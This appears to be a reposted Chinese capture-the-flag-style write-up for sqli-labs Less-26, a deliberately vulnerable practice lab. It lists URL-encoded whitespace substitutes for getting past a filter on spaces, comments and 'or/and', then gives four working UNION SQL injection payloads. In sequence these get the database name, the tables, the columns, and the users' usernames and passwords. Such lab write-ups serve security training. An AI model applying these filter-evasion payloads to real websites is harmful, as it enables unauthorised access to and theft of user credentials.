本关过滤 空格 or and /* # -- / 等符号
可用过滤符如下
| %09 | TAB键（水平） |
|---|---|
| %0a | 新建一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键（垂直） |
| %a0 | 空格 |
使用联合查询，具体原理及解题方法可见专栏：Sqli-Labs靶场专栏
查库名：
id=0'%0bunion%0bselect%0b1,database(),3||'1'='1
回显如下：
![[网络安全]sqli-labs Less-26 解题详析,# Sqli-Labs靶场攻防实战,web安全,数据库,sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-1.png)
查表名：
id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1
回显如下：
![[网络安全]sqli-labs Less-26 解题详析,# Sqli-Labs靶场攻防实战,web安全,数据库,sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-2.png)
查列名：
id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1
回显如下：
![[网络安全]sqli-labs Less-26 解题详析,# Sqli-Labs靶场攻防实战,web安全,数据库,sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-3.png)
查数据：
id=0'%0bunion%0bselect%0b2,(select%0bgroup_concat(concat_ws('-',id,username,passwoorrd))%0bfrom%0busers),4%0b||%0b'1'='1
回显如下：文章来源：https://www.toymoban.com/news/detail-719287.html
![[网络安全]sqli-labs Less-26 解题详析,# Sqli-Labs靶场攻防实战,web安全,数据库,sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-4.png)
文章来源地址https://www.toymoban.com/news/detail-719287.html
到了这里，关于[网络安全]sqli-labs Less-26 解题详析的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
![[网络安全]upload-labs Pass-17 解题详析](https://imgs.yssmx.com/Uploads/2024/02/735067-1.png)
